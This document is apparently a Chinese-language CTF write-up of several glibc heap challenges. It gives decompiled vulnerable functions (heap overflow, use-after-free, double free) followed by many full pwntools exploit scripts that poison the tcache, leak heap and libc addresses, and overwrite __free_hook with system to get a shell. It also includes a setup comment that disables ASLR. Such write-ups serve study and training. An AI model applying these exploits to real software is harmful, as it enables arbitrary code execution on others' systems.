reference
all green
unsigned __int64 add()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
int v4; // ebx
__int64 v5; // rax
int v7; // [rsp+0h] [rbp-20h] BYREF
_DWORD v8[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&v8[1] = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "I Hope You Could Give Me A 9.9 Vuln");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v7);
if ( v7 > 16 || v7 < 0 || addr_qword_42E0[v7] )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "S:>>");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, v8);
if ( v8[0] <= 0xFFu )
{
size_dword_43E0[v7] = v8[0]; // size
v4 = v7;
addr_qword_42E0[v4] = operator new[](v8[0]);// ctx
}
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Thx For Your Commit");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
return __readfsqword(0x28u) ^ *(_QWORD *)&v8[1];
}
unsigned __int64 change()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Plz Change It Carefully");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v5);
if ( v5 > 16 || v5 < 0 || !addr_qword_42E0[v5] )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "V:>>");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::operator>><char,std::char_traits<char>>(&std::cin, addr_qword_42E0[v5]);// 往addr里cin 堆溢出
return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 get()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Let's See What You Commit");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v5);
if ( v5 > 16 || v5 < 0 || !addr_qword_42E0[v5] )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v3 = std::operator<<<std::char_traits<char>>(&std::cout, addr_qword_42E0[v5]);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 sub_1753()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rdx
int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Let's See What You Commit");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v5);
if ( v5 > 16 || v5 < 0 || !addr_qword_42E0[v5] )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v3 = v5;
if ( addr_qword_42E0[v3] )
operator delete((void *)addr_qword_42E0[v3], 1uLL);
addr_qword_42E0[v5] = 0LL;
size_dword_43E0[v5] = 0;
return __readfsqword(0x28u) ^ v6;
}
对于tcache结构体(perthread),是建立在堆的最上面(要加0x10)
可以通过篡改count以此来tcache poisoning(之前好像没注意过count的检查,可能是2.31特有的?有待考证)
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
[图片来自hollk师傅]
对于篡改count,可以用p16(),char是两个字节
然后就是tcache中每个方格的存放的size的顺序是[0x20 0x30 0x40 0x50....]
,如果我们想让chunk丢到unsortedBin里,可以把对应大小的count改成7
,代表放满了。
在2.27的小版本后,entry中加了个key检查,就是原先的bk位,不能两次释放任意一个链上的chunk
for i in range(3):
add(i, 0x60) # idx 0 1 2
for i in range(3):
delete(2-i) # tcache 0->1->2
for i in range(1):
add(i, 0x60) # idx 0
get(0)
leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
print('leak_addr:',hex(leak_addr))
tcache_addr=leak_addr-0x12f30
print('tcache_addr',hex(tcache_addr))# 0x555555559000 heap first addr
利用new不清空的特性,泄漏堆的基址(也就是tcache结构体的位置)
idx0编辑堆溢出到idx1指向tcache结构体,申请两次申请到
payload=b'a'*0x68+p64(0x71)+p64(tcache_addr+0x10)
change(0,payload)
add(1,0x60)
add(2,0x60) # tcache struct
篡改count(确保0x90满了,才能放入unsortedBin)
add(3,0x80)
add(4,0x70)
payload=p16(0)*4+p16(0x7)*4 # 0 0 0 0 7 7 7 7 [0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90]
change(2,payload)
分割unsortedBin中的chunk4,泄漏libc基址
delete(3)# into unsortedBin
add(3,0x30)
get(3)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak: ",hex(libc_leak)) # 0x7ffff7dcac60
libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
print("libc_base:",hex(libc_base))# 0x7ffff7a75000
由于chunk3下面还有一块chunk5,可以进行溢出,挂钩子
add(5,0x40)
delete(5)
payload=b'a'*0x30+p64(0)+p64(0x51)+p64(libc_base+freehook)
change(3,payload)
payload=p16(0)*3+p16(0x2) #[0x20 0x30 0x40 0x50][0 0 0 2]
change(2, payload)
add(6,0x40)
add(7,0x40)
getshell
change(6,'/bin/sh\x00')
change(7,p64(libc_base+system))
delete(6)
p.interactive()
总结
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("S:>>\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("V:>>\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def exp():
for i in range(3):
add(i, 0x60) # idx 0 1 2
for i in range(3):
delete(2-i) # tcache 0->1->2
for i in range(1):
add(i, 0x60) # idx 0
get(0)
leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
print('leak_addr:',hex(leak_addr))
tcache_addr=leak_addr-0x12f30
print('tcache_addr',hex(tcache_addr))# 0x555555559000 heap first addr
payload=b'a'*0x68+p64(0x71)+p64(tcache_addr+0x10)
change(0,payload)
add(1,0x60)
add(2,0x60) # tcache struct
add(3,0x80)
add(4,0x70)
payload=p16(0)*4+p16(0x7)*4 # 0 0 0 0 7 7 7 7 [0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90]
change(2,payload)
delete(3)# into unsortedBin
add(3,0x30)
get(3)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak: ",hex(libc_leak)) # 0x7ffff7dcac60
libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
print("libc_base:",hex(libc_base))# 0x7ffff7a75000
add(5,0x40)
delete(5)
payload=b'a'*0x30+p64(0)+p64(0x51)+p64(libc_base+freehook)
change(3,payload)
payload=p16(0)*3+p16(0x2) #[0x20 0x30 0x40 0x50][0 0 0 2]
change(2, payload)
add(6,0x40)
add(7,0x40)
change(6,'/bin/sh\x00')
change(7,p64(libc_base+system))
delete(6)
p.interactive()
if __name__=='__main__':
exp()
这是不需要劫持tcache perthread的版本(如果对chunk数量限制更严格的话就不能用咯,哎不对,tcache里的0x80好像也能复用)
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("S:>>\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("V:>>\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def exp():
#backup
[add(i,0x40) for i in range(3)]# why I have to alloc 3 chunk? because aid to adjust count to poisoning
[delete(2-i) for i in range(3)]# tcache 0->1->2
#leak libc_base
for i in range(3,11):
add(i,0x80) # idx[10] be used to segmentation
add(11,0x10)# to prevent consolidate
for i in range(3,11):
delete(i)
for i in range(3,10):
add(i,0x80)
add(12,0x30)
get(12)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak:",hex(libc_leak)) # 0x7ffff7dcac60
libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
print("libc_base:",hex(libc_base))
payload=b'a'*0x48+p64(0x51)+p64(libc_base+freehook)
add(0,0x40)
change(0,payload)
add(1,0x40)
add(2,0x40) # free_hook
change(2,p64(libc_base+system))
change(1,'/bin/sh\x00')
delete(1)
p.interactive()
if __name__=="__main__":
exp()
这是劫持tcache perthread的版本
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("S:>>\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("V:>>\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def exp():
[add(i,0x40) for i in range(3)]# why I have to alloc 3 chunk? because aid to adjust count to poisoning
[delete(2-i) for i in range(3)]# tcache 0->1->2
add(0,0x40)
get(0)
leak=u64(p.recv(6).ljust(8,b'\x00'))
print("leak:",hex(leak)) # 0x55555556bf10
heap_base=leak-(0x55555556bf10-0x555555559000)
print("heap_base:",hex(heap_base))
payload=b'b'*0x48+p64(0x51)+p64(heap_base+0x10) # dont forget +0x10
change(0,payload)
add(1,0x40)
add(2,0x40) # tc
add(3,0x80) # creat unsortbin chunk before falsifying count
add(4,0x10)
change(4,"/bin/sh\x00")
payload=p16(0)*7+p16(0x7) # [20 30 40 50 60 70 80 90]
change(2,payload) # [0 0 0 0 0 0 0 7 ]
delete(3)
add(5,0x30)
get(5)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak:",hex(libc_leak))# 0x7ffff7dcac60
libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
print("libc_base:",hex(libc_base))
delete(1)
delete(0)# pay attention to order (particularly in tcache envir)
add(0,0x40)
change(0,b'b'*0x48+p64(0x51)+p64(libc_base+freehook))
change(2,p16(0)*3+p16(0x3))# [0 0 0 3 0 0 0 7 ]
add(1,0x40)
add(6,0x40)
change(6,p64(libc_base+system))
delete(4)
p.interactive()
if __name__=="__main__":
exp()
另外一个是同学的,手法大差不差,只不过她篡改了size直接放到unsortedBin里去了,似乎更简单
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("S:>>\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("V:>>\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def exp():
add(0,0x10)
[add(i,0xf0) for i in range(1,5)] # 1-4
[add(i,0x10) for i in range(5,10)] # 5-9
change(0,p64(0)*3+p64(0x421))
delete(1)# It cant be put into tcache
add(1,0xf0)
get(1)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak: ",hex(libc_leak)) #0x7ffff7dcafd0
libc_base=libc_leak-(0x7ffff7dcafd0-0x7ffff7bdf000)
print("libc_base: ",hex(libc_base))
delete(9)
delete(8)
change(7,p64(0)*2+p64(0)+p64(0x21)+p64(libc_base+libc.sym['__free_hook']))
change(3,'/bin/sh\x00')
add(8,0x10)
add(9,0x10)
change(9,p64(libc_base+libc.sym['system']))
delete(3)
p.interactive()
if __name__=='__main__':
exp()
重点都是堆溢出后poisoning
allgreen
基本一模一样,出题人一题双恰,口袋饱饱
没溢出了,大小限制,有uaf。
unsigned __int64 delete()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rdx
int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Let's See What You Commit");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v5);
if ( v5 > 16 || v5 < 0 || !qword_42E0[v5] )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v3 = v5;
if ( qword_42E0[v3] )
operator delete((void *)qword_42E0[v3], 1uLL);// uaf
return __readfsqword(0x28u) ^ v6;
}
独立做出来的,好耶
通过uaf进行poisoning,劫持到tcache第一个chunk进行篡改size
[add(i,0x30) for i in range(3)] # [0 1 2] # 0x40*3=0xc0
[delete(2-i) for i in range(3)] # tcache->0->1->2
[add(i,0x60) for i in range(3,12)] #[3-11] 9*0x70=0x3f0 0x3f0+0xc0=0x4b0-0x70=0x440
get(1)
chunk_2=u64(p.recv(6).ljust(8,b'\x00'))
print("chunk2: ",hex(chunk_2)) # 0x55555556bf40
fake=chunk_2-0x90 # 0x55555556beb0
change(1,p64(fake))
篡改进去发现new清空了(???new到底请不清空有待考证,网上说加括号就清,ida里也看不出来呀)
不过无妨,放入unsorted Bin的大小大概为0x420左右,要用前面的堆块进行构造,需要正好吻合前面的堆块大小(我试了多了少了都不行)
解释:构造unsorted Bin的条件
1.prev_inuse = 1
2.next_previnuse = 1
3.next_next_previnuse = 1
也就是说 会检查下一个相邻chunk的prev_inuse位和自己的prev
_inuse位
[add(i,0x30) for i in range(13,15)] # [13 14][fake 14]
add(15,0x30)
change(15,p64(0)+p64(0x441))
delete(13)
泄漏libc_base后基本一样了
# idx 12 16 no use
get(13)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak: ",hex(libc_leak))# 0x7ffff7dcabe0
libc_base=libc_leak-(0x7ffff7dcabe0-0x7ffff7bdf000)
print("libc_base: ",hex(libc_base))
delete(4)
delete(3)
change(3,p64(libc_base+freehook))
add(12,0x60)
add(16,0x60)
change(16,p64(system+libc_base))
change(5,'/bin/sh\x00')
delete(5)
p.interactive()
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("S:>>\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("V:>>\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def exp():
[add(i,0x30) for i in range(3)] # [0 1 2] # 0x40*3=0xc0
[delete(2-i) for i in range(3)] # tcache->0->1->2
[add(i,0x60) for i in range(3,12)] #[3-11] 9*0x70=0x3f0 0x3f0+0xc0=0x4b0-0x70=0x440
get(1)
chunk_2=u64(p.recv(6).ljust(8,b'\x00'))
print("chunk2: ",hex(chunk_2)) # 0x55555556bf40
fake=chunk_2-0x90 # 0x55555556beb0
change(1,p64(fake))
[add(i,0x30) for i in range(13,15)] # [13 14][fake 14]
add(15,0x30)
change(15,p64(0)+p64(0x441))
delete(13)
# idx 12 16 no use
get(13)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak: ",hex(libc_leak))# 0x7ffff7dcabe0
libc_base=libc_leak-(0x7ffff7dcabe0-0x7ffff7bdf000)
print("libc_base: ",hex(libc_base))
delete(4)
delete(3)
change(3,p64(libc_base+freehook))
add(12,0x60)
add(16,0x60)
change(16,p64(system+libc_base))
change(5,'/bin/sh\x00')
delete(5)
p.interactive()
if __name__=="__main__":
exp()
上面我的方法几乎用尽了全部的chunk,接下来试试劫持tcache_perthread的方法
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("S:>>\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("V:>>\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def exp():
[add(i,0x30) for i in range(3)] # [0 1 2] # 0x50*3=0xf0
[delete(2-i) for i in range(3)] # tcache->0->1->2
get(1)
heap_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("heap_leak:",hex(heap_leak)) # 0x55555556bf40
heap_base=heap_leak-(0x55555556bf40-0x555555559000)
print("heap_base:",hex(heap_base))
change(1,p64(heap_base+0x10))
[add(i,0x30) for i in range(3,6)] # 3 4 5 / 5 is tcache
[add(i,0x40) for i in range(6,9)] # 6 7 8
[delete(i) for i in range(8,5,-1)] # t->6->7->8
get(7)
leak=u64(p.recv(6).ljust(8,b'\x00'))
print("leak:",hex(leak))# 0x55555556c020
fake=leak-0xb0
print("fake:",hex(fake))# 0x55555556bf70
change(7,p64(fake))
[add(i,0x40) for i in range(9,12)] # 9 10 11
change(11,p64(0)+p64(0xa1))
payload=p16(0)*8+p16(0x7)# [20 30 40 50 60 70 80 90 a0] falsify count
change(5,payload)
delete(9)
get(9)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak:",hex(libc_leak))# 0x7ffff7dcabe0
libc_base=libc_leak-96-0x10-libc.sym["__malloc_hook"]
print("libc_base:",hex(libc_base))
add(12,0x10)
delete(12)
change(12,p64(libc_base+freehook))
change(5,p16(0x2))
add(13,0x10)
change(13,'/bin/sh\x00')
add(14,0x10)
change(14,p64(system+libc_base))
delete(13)
p.interactive()
if __name__=="__main__":
exp()
一次劫持到tcache
一次劫持到篡改size的位置
好像chunk还是用的有点多,,,
申请的0x18应该是为了防止\n越界,0x11也可以
double free的话就不需要创建格外的chunk来加count了,本质和正常做也差不多,注意key字段的清零
这里我首先试了一下one gadget,可惜,都打不通
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("S:>>\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
p.recvuntil("V:>>\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("I:>>\n")
p.sendline(str(idx))
def exp():
[add(i,0x60) for i in range(11)]
add(11,0x18) # why must be 0x18 ?
#double free
delete(11)
change(11,p64(0)*2)
delete(11)
get(11)
leak=u64(p.recv(6).ljust(8,b'\x00'))
fake=leak-0x70*11-0x10
print("fake:",hex(fake))
change(11,p64(fake))
add(12,0x18)
add(13,0x18)
change(13,p64(0)+p64(0x70*11+1))
delete(0)
get(0)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
print("libc_base:",hex(libc_base))
delete(2)
delete(1)
change(1,p64(libc_base+freehook))
add(14,0x60)
add(15,0x60)
ogg=[0xe6c7e,0xe6c81,0xe6c84]
change(15,p64(libc_base+system))
change(14,'/bin/sh\x00')
delete(14)
p.interactive()
if __name__=="__main__":
exp()
all green
非常具有欺骗性的没释放size,两次置空的都是同一个
if ( qword_42E0[v3] )
operator delete((void *)qword_42E0[v3], 1uLL);
qword_42E0[v5] = 0LL;
qword_42E0[v5] = 0LL;
return __readfsqword(0x28u) ^ v6;
}
自己做出的 耶耶耶
from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")
def dbg():
gdb.attach(p)
pause()
def choice(idx):
p.sendline(str(idx))
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
freehook=libc.sym["__free_hook"]
system=libc.sym['system']
def add(idx,size):
choice(1)
p.recvuntil("Index:\n")
p.sendline(str(idx))
p.recvuntil("PayloadLength:\n")
p.sendline(str(size))
def change(idx,ctx):
choice(2)
p.recvuntil("Index:\n")
p.sendline(str(idx))
p.recvuntil("BugInfo:\n")
p.sendline(ctx)
def get(idx):
choice(3)
p.recvuntil("Index:\n")
p.sendline(str(idx))
def delete(idx):
choice(4)
p.recvuntil("Index:\n")
p.sendline(str(idx))
def exp():
add(0,0x18)
delete(0)
add(0,0x18)
[add(i,0x20) for i in range(1,4)] # 1 2 3
[add(i,0x80) for i in range(4,12)] # 4 5 6 7 8 9 10 11
add(12,0x10) # prevent consolidate
[delete(i) for i in range(4,11)]
delete(11)
add(13,0x30)
get(13)
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
print("libc_leak:",hex(libc_leak))
libc_base=libc_leak-(0x00007ffff7dcac60-0x7ffff7bdf000)
print("libc_base:",hex(libc_base))
[delete(i) for i in range(3,0,-1)] # tcache 1->2->3
change(0,b'a'*0x18+p64(31)+p64(libc_base+freehook))
add(14,0x20)
change(14,'/bin/sh\x00')
add(15,0x20)
change(15,p64(libc_base+system))
delete(14)
p.interactive()
if __name__=="__main__":
exp()
基本和上面打法一模一样
vmpwn 不会